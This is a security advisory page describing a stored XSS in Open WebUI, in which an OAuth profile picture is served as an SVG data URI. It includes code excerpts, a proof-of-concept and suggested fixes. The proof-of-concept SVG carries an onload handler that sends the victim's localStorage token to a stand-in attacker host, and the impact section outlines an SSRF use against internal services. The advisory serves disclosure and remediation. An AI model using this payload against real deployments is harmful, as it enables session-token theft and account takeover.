High

Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url

  • Disclosed: 14.05.2026
  • Updated: 11.10.2026 14:18

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

python
response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with inline disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

python
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

  1. Attacker hosts a malicious SVG at https://attacker.example/p.svg:
xml
<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
  1. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's profile_image_url.

  2. Attacker shares a link to their own profile image with a victim in a chat DM or channel:

https://target.example/api/v1/users/<attacker-user-id>/profile/image
  1. The authenticated victim clicks the link. The browser receives Content-Type: image/svg+xml with Content-Disposition: inline, renders the SVG as a top-level document, fires onload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.

Impact

  • Account takeover of any authenticated user who opens the crafted URL.
  • Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has workspace.tools permission — RCE via installed tools (per CVE-2025-64496 analysis).
  • The same _process_picture_url function has no SSRF allowlist; a secondary primitive is to point the picture claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.

Suggested fix

  1. In _process_picture_url (utils/oauth.py:1336-1345): reject any MIME outside {image/png, image/jpeg, image/gif, image/webp}. Use the upstream Content-Type response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.

  2. In get_user_profile_image_by_id (routers/users.py:504-528): enforce a MIME whitelist before building StreamingResponse. This is the defense-in-depth layer that should have caught the bypass.

  3. Apply validate_profile_image_url at the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.

  4. Set X-Content-Type-Options: nosniff and a default CSP unless the operator explicitly disables them.

References

  • backend/open_webui/utils/oauth.py:1318-1351 — MIME guess + fetch
  • backend/open_webui/utils/oauth.py:1536-1574 — OAuth write path
  • backend/open_webui/utils/validate.py:10-36 — validator (bypassed)
  • backend/open_webui/models/users.py:575-588 — DB write
  • backend/open_webui/routers/users.py:504-528 — serving endpoint
  • backend/open_webui/utils/security_headers.py:16-61 — env-gated headers
  • CVE-2025-64496 — precedent: trust boundary error (same class)
  • CVE-2025-64495 — precedent: rich-text XSS (same class)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) open-webui < 0.9.5 0.9.5

References

CVSS score 7.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-20, CWE-79
Platform
Python (PyPI)
Package
open-webui
Disclosed
14.05.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-3wgj-c2hg-vm6q - CC BY 4.0

Vulnerability history: open-webui

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (161) in the archive
Total entries
161
First → latest
08.2024 09.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 77
  • Medium 75
  • Low 8

Disclosures per year

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Severity:
  1. High · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. High · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. High · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url this entry
    High · 7.3 CVE-2026-56398 < 0.9.5 0.9.5
  5. High · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  6. High · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  7. High · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. High · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. High · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. High · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. High · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Critical · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. High · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  14. High · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  15. High · 8.4 CVE-2024-7990 <= 0.3.8 no fix
  16. High · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  17. High · 7.6 CVE-2024-7053 <= 0.3.8 no fix
  18. High · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  19. High · 7.5 CVE-2024-7036 <= 0.3.8 no fix
  20. High · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 no fix
  21. High · 7.5 CVE-2024-12534 <= 0.3.32 no fix
  22. High · 7.5 CVE-2024-12537 <= 0.3.32 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.